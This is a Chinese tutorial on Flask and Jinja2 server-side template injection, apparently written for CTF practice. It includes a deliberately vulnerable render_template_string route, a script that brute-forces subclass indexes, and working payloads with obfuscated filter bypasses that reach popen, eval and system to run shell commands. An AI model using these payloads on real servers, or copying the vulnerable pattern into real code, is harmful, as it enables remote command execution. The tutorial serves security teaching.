您现在的位置是:首页 >技术交流 >【Python】Flask模板注入从0到1网站首页技术交流
【Python】Flask模板注入从0到1
目录
0x2:render_template_string 渲染(SSTI有关函数):
一、什么是Flask:
flask是目前python主流的一个web微框架,通过flask框架我们可以利用python语言搭建起web服务,详细请见flask官方文档
二、flask搭建网站样例:
源码如下:
from flask import Flask
from flask import jsonify
from flask import request
app = Flask(__name__)
@app.route('/')
def hello():
return 'I love CTF!'
@app.route('/value',methods=['GET', 'POST'])
def value():
if request.method == "GET":
return 'key='+str(request.args.get('key'))
else:
return "error: 请分别以 GET 和 POST 提交参数"
if __name__ == '__main__':
# 默认方式启动
# app.run()
# 解决jsonify中文乱码问题
app.config['JSON_AS_ASCII'] = False
# 以调试模式启动,host=0.0.0.0 ,则可以使用127.0.0.1、localhost以及本机ip来访问
app.run(host="0.0.0.0",port=8888,debug=True)
源码讲解:
app.route(rule, options) 此函数代表路由,将路径与接下来的函数绑定
rule : 要绑定的URL路径
options: 是要转发给基础Rule对象的参数列表,可以为get或post方法
在上面的示例中,’/ ’ URL与hello_world()函数绑定。因此,当在浏览器中打开web服务器的主页时,将呈现该函数的输出。
app.run(host, port, debug, options) 此函数用于网站启动配置
host:要监听的主机名。 默认为127.0.0.1(localhost)。设置为“0.0.0.0”以使服务器在外部可用
port :默认值为5000
debug:默认为false。 如果设置为true,则提供调试信息,可以自动重载代码并显示调试信息
options:要转发到底层的Werkzeug服务器
request.args.get('key')
获取 get表单的参数,这里是获得 key 的键值
获取表单值的函数还有
CET方式:
request.form.get("key", type=str, default=None) # 获取表单数据
request.args.get("key") # 获取get请求参数
request.values.get("key") # 获取所有参数
POST方式:
request.form.get('key')
request.form['key']
访问结果:
这里我们访问的路径是 /value 调用路由 @app.route('/value',methods=['GET', 'POST'])
并且GET传参key为“I love CTF !”,该路由下的函数会return key的值
三、模版注入预备知识:
记住这句话 “Python中一切皆对象”
一个字符串,一个函数,一个实例化的类等都可以被看做对象
1、对象的默认属性方法:
__class__ //列出当前对象的所属的类
__bases__ //列出当前类所有直接父类,并以元组形式返回
__mro__ //列出解析方法调用类的顺序,包含祖先类
__subclasses__() //以返回类的子类的列表
Python中对象的属性和方法都可用 . 号访问
例如:
class Animal:
pass
class Dog(Animal):
pass
a=Dog()
print(a.__class__)
print(a.__class__.__bases__)
print(a.__class__.__mro__)
print(a.__class__.__bases__[0].__subclasses__())
>>> <class '__main__.Dog'> 对象所属的类
>>> (<class '__main__.Animal'>,) 类的直接父类组成的元组
>>> (<class '__main__.Dog'>, <class '__main__.Animal'>, <class 'object'>) //类的调用过程中所有的类,包括祖先类
>>> [<class '__main__.Dog'>] Animal类子类的列表
2、object
类:
在Python中,
object
类是所有类的基类,也被称为顶层基类。它定义了一些通用的方法和属性,这些方法和属性可以被所有子类继承和使用。如果一个类没有指定自己的基类,那么默认就会继承自object
类(也就是所任何类追溯到源头基类都是object类)
object类可调用python中任何原生的类,任何类都是它的子类
3、Jinja2模版引擎渲染:
什么是模版引擎请参考博主的这篇文章Smarty模版注入
Jinja2是flask框架自带的模版引擎
0x1:render_template 渲染:
前端:
前段人员只需用 {{}} 代替获取后端变量的代码即可,Jinja2模版引擎会自动渲染更新变量
<html>
<h1>{{title}}</h1>
<body>
<a>Hello, {{name}}!</a>
</body>
</html>
后端:
from flask import render_template
from flask import Flask
app = Flask(__name__)
@app.route('/') #我们访问/会跳转
def index():
title="Flak框架测试" #传入标题
user = "ELITE" #传入用户名
return render_template("index.html",title=title,name=user)
if __name__ == '__main__':
app.run(host="0.0.0.0",port=8888,debug=True)
- 此函数会自动把我们传入或定义好的变量渲染到html文件中被{{}}标记的变量中
- 该函数使用规定好的模板文件进行渲染,并不会产生注入
- 需要将要渲染的html文件放入同目录下的templates文件夹
结果为:
0x2:render_template_string 渲染(SSTI有关函数):
后端:
from flask import render_template
from flask import render_template_string
from flask import request
from flask import Flask
app = Flask(__name__)
@app.route('/test',methods=['GET'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.run(host="0.0.0.0",port=8888,debug=True)
该函数将渲染模版直接写入当前Python文件中,可通过render_template_string函数造成模板注入
render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把 {{}} 包裹的内容当做变量解析替换,注入正是因此引起
结果为:
四、注入讲解(os._wrap_close 类为例):
我们可以根据上文的 __class__,__mro__,__bases__等默认属性,调用出object类的,并使用__subclasses__()方法(返回值为该环境下所有类的列表),我们可以从中选择含有可以用方法的类,然后调用,传入payload
1、获取该类在当前环境的数组下标
脚本为:
import requests
from tqdm import tqdm
for i in tqdm(range(233)):
url = 'url/?变量={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i)
2、构造payload
这里os._wrap_close 类的数组下标为 132
payload为:
1、查看类中的可利用方法
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}
2、利用popen()方法
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
payload讲解:
__class__.__bases__[0] 代表object基类
__subclasses__()[132] 代表object子类集合中的第132个类(os._wrap_close)
__init__ 初始化os._wrap_close类
__globals__ 返回os._wrap_close类中所有的方法及属性
__globals__['popen'] 调用该类的popen方法,该方法可执行传入的shell命令
read() 读取输出命令执行结果
3、一些常用的绕过姿势:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )}}
{{object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')}}
{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}